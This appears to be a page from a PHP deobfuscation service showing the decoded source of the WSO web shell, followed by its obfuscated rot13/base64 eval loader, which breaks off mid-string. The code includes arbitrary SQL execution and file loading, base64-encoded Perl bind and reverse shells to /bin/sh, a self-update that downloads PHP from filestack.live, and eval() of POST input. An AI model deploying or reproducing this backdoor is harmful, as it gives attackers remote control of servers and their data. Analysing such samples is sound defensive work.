				echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
				if(@$_POST['p1'] == 'select') {
					$_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
					$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
					$num = $db->fetch();
					$pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                    echo " of $pages";
                    if($_POST['p3'] > 1)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
                    if($_POST['p3'] < $pages)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
                    $_POST['p3']--;
					if($_POST['type']=='pgsql')
						$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
					else
						$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
					echo "<br><br>";
				}
				if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
					$db->query(@$_POST['p2']);
					if($db->res !== false) {
						$title = false;
						echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
						$line = 1;
						while($item = $db->fetch())	{
							if(!$title)	{
								echo '<tr>';
								foreach($item as $key => $value)
									echo '<th>'.$key.'</th>';
								reset($item);
								$title=true;
								echo '</tr><tr>';
								$line = 2;
							}
							echo '<tr class="l'.$line.'">';
							$line = $line==1?2:1;
							foreach($item as $key => $value) {
								if($value == null)
									echo '<td><i>null</i></td>';
								else
									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
							}
							echo '</tr>';
						}
						echo '</table>';
					} else {
						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
					}
				}
				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
            }
			if(@$_POST['p1'] == 'loadfile') {
				$file = $db->loadFile($_POST['p2']);
				echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo '</div>';
	wsoFooter();
}
function actionNetwork() {
	wsoHeader();
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form>
	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form><br>";
	if(isset($_POST['p1'])) {
		function cf($f,$t) {
			$w = @fopen($f,"w") or @function_exists('file_put_contents');
			if($w){
				@fwrite($w,base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST['p1'] == 'bpp') {
			cf("/tmp/bp.pl",$bind_port_p);
			$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
            unlink("/tmp/bp.pl");
		}
		if($_POST['p1'] == 'bcp') {
			cf("/tmp/bc.pl",$back_connect_p);
			$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
            unlink("/tmp/bc.pl");
		}
	}
	echo '</div>';
	wsoFooter();
}

function actionUPDate() {
	wsoHeader();
	echo "<h1>UPdate</h1><div class=content>";
	function http_get_contents($url){
		$codex = @file_get_contents($url);
		if (empty($codex)){
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url);
			curl_setopt($ch, CURLOPT_HEADER, 0); 
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
			curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
			curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15);
			curl_setopt($ch, CURLOPT_TIMEOUT, 15);
			curl_setopt($ch, CURLOPT_COOKIESESSION,true);
			curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0");
			$urlPage = curl_exec($ch);
			curl_close($ch);
			return($urlPage);
		}else {
			return $codex;
		}
	}
	$php  = http_get_contents("http://filestack.live/96382367f90798e98d30f82012963197.htm");
	if(!preg_match("/<\?php/", $php)){ echo '<center><font color="red"><p>[-] Failed.</p></font></center>'; wsoFooter(); die(); }
	$namefile = basename(__FILE__);
	if(preg_match("/\.php/", $namefile)){
		preg_match("#(.*)\.php#", $namefile, $namefile2);
		$namefile = $namefile2[1].'.php';
	}elseif(preg_match("/\.php5/", $namefile)){
		preg_match("#(.*)\.php5#", $namefile, $namefile2);
		$namefile = $namefile2[1].'.php5';
	}elseif(preg_match("/\.php7/", $namefile)){
		preg_match("#(.*)\.php7#", $namefile, $namefile2);
		$namefile = $namefile2[1].'.php7';
	}elseif(preg_match("/\.phtml/", $namefile)){
		preg_match("#(.*)\.phtml#", $namefile, $namefile2);
		$namefile = $namefile2[1].'.phtml';
	}
	file_put_contents($namefile, $php);
	echo "<center>./Done !<br></center>";
	echo "<script> location.href='$namefile'; </script>";
	wsoFooter();
}

function actionRC() {
	if(!@$_POST['p1']) {
		$a = array(
			"uname" => php_uname(),
			"php_version" => phpversion(),
			"wso_version" => WSO_VERSION,
			"safemode" => @ini_get('safe_mode')
		);
		echo serialize($a);
	} else {
		eval($_POST['p1']);
	}
}
if( empty($_POST['a']) )
	if(isset($default_action) && function_exists('action' . $default_action))
		$_POST['a'] = $default_action;
	else
		$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
	call_user_func('action' . $_POST['a']);
exit;

Did this file decode correctly?

Original Code

<?php $rhHBV = 's'.'tr'.'_r'.'ot13'; $UspwG = 'b'.'ase6'.'4'.'_d'.'eco'.'de'; ini_set('error_log', NULL); ini_set('log_errors', 0); echo '<br>   '; error_reporting(0); eval($UspwG($rhHBV('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L3IlpzIhqPOxnKVvVQ0+VPWznJ5xVP4tYKE5pTHtMvNgozSgMFOmMKW2nJAyYaO3MPVfPvNtPDxvMzyhMPOuoTjtYzu0pTSmp3qxVTMcoTImVvN9CvNvMzyhMPNiVP10rKOyVTLtYJ5uoJHtYzu0pTSmp3qxVvjXVPNWPFWznJ5xVP5bqUOup3A3MPOznJkyplOcovOwqKWlMJ50VTEcpvVtCG4tVzMcozDtYvNgqUyjMFOzVP1hLJ1yVP5bqUOup3A3MPVfPvNtPDxvMzyhMPOuoTjtYzWup2usnTymqT9lrFOznJkyplVtCG4tVzMcozDtYlNgqUyjMFOzVP1hLJ1yVP5vLKAbK2ucp3EipaxvYNbtVNxWVzMcozDtYzWup2usnTymqT9lrFOznJkyplOcovOwqKWlMJ50VTEcpvVtCG4tVzMcozDtYvNgqUyjMFOzVP1hLJ1yVP5vLKAbK2ucp3EipaxvYNbtVNxWVzMcozDtLJkfVP5zMKEwnT1unJklLlOznJkyplVtCG4tVzMcozDtYlNgqUyjMFOzVP1hLJ1yVP5zMKEwnT1unJklLlVfPvNtPDxvMzyhMPNhMzI0L2ugLJyfpzZtMzyfMKZtnJ4tL3IlpzIhqPOxnKVvVQ0+VPWznJ5xVP4tYKE5pTHtMvNgozSgMFNhMzI0L2ugLJyfpzZvYNbWPFWZo2AuqTHvVQ0+VPVvYNbtVNxWVzkiL2S0MFObqUEjMP5wo25zVTMcoTImVvN9CvNvoT9wLKEyVTu0qUOxYzAiozLvYNbWPFWfo2AuqTHtqzuip3EmYzAiozLtMzyfMKZvVQ0+VPWfo2AuqTHtqzuip3EmYzAiozLvYNbWPFWfo2AuqTHtpUWiMaEjMP5wo25zVTMcoTImVvN9CvNvoT9wLKEyVUOlo2M0pTDhL29hMvVfPtxWVzkiL2S0MFOjp3yvozZhL29hMvOznJkyplVtCG4tVzkiL2S0MFOjp3yvozZhL29hMvVfPtxWVzkiL2S0MFOgrF5wo25zVTMcoTImVvN9CvNvoT9wLKEyVT15YzAiozLvYNbWPFWfo2AuqTHtLJEgnJ4hpTujVTMcoTImVvN9CvWfo2AuqTHtLJEgnJ4hpTujVvjXPDxvoT9wLKEyVTAzMl5jnUNtMzyfMKZvVQ0+VPWfo2AuqTHtL2MaYaObpPVfPtxWVzkiL2S0MFOwo25zYaObpPOznJkyplVtCG4tVzkiL2S0MFOwo25zYaObpPVfPtxWVzkiL2S0MFOwo25znJphMTS0VTMcoTImVvN9CvNvoT9wLKEyVTAiozMcMl5xLKDvYNbWPFWfo2AuqTHtL29hMzyaYaObpPOznJkyplVtCG4tVzkiL2S0MFOwo25znJphpTujVvjXPDxvoT9wLKEyVTAiozMcMl5cozZtMzyfMKZvVQ0+VPWfo2AuqTHtL29hMzyaYzyhLlVfPtxWVzkiL2S0MFOwo25znJphnJ5wYaObpPVtCG4tVzkiL2S0MFOwo25znJphnJ5wYaObpPVfPtxWVzkiL2S0MFOwo25znJphMTIzLKIfqP5jnUNtMzyfMKZvVQ0+VPWfo2AuqTHtL29hMzyaYzEyMzS1oUDhpTujVvjXPDxvoT9wLKEyVTAiozMcMlbtMzyfMKZtVvN9CvNvoT9wLKEyVTAiozMcMlVfPtxWVzkiL2S0MFNhL29hMvOznJkyplV9CvWfo2AuqTHtWl5wo25zWlVfPtxWVzkiL2S0MFNhpUqxVTMcoTImVvN9CvNvoT9wLKEyVPphpUqxWlVfPtxWVzkiL2S0MFNhp3SfVTMcoTImVvN9CvNvoT9wLKEyVPphp3SfWlVfPtxWVzkiL2S0MFNhnUEjLKAmq2DtMzyfMKZvVQ0+VPWfo2AuqTHtWl5bqUOup3A3MPpvYNbWPFWfo2AuqTHtYzWup2usnTymqT9lrFOznJkyplVtCG4tVzkiL2S0MFNaYzWup2usnTymqT9lrFpvYNbWPFWfo2AuqTHtYz15p3SfK2ucp3EipaxtMzyfMKZvVQ0+VPWfo2AuqTHtWl5grKAkoS9bnKA0o3W5WlVfPtxWVzkiL2S0MFNhMzI0L2ugLJyfpzZtMzyfMKZvVQ0+VPWfo2AuqTHtWl5zMKEwnT1unJklLlpvYNbWPFWfo2AuqTHtLzSwn3IjVTMcoTImVvN9CvNvoT9wLKEyVTWuL2g1pPVfPtxWVzkiL2S0MFOxqJ1jVTMcoTImVvN9CvNvoT9wLKEyVTE1oKNvYNbWPFWfo2AuqTHtpUWcqvOznJkyplVtCG4tVzkiL2S0MFOjpzy2VtbWXGfXPzM1ozA0nJ9hVUqmo0uyLJEypvtcVUfXPJyzXTIgpUE5XPEsHR9GISfaL2uu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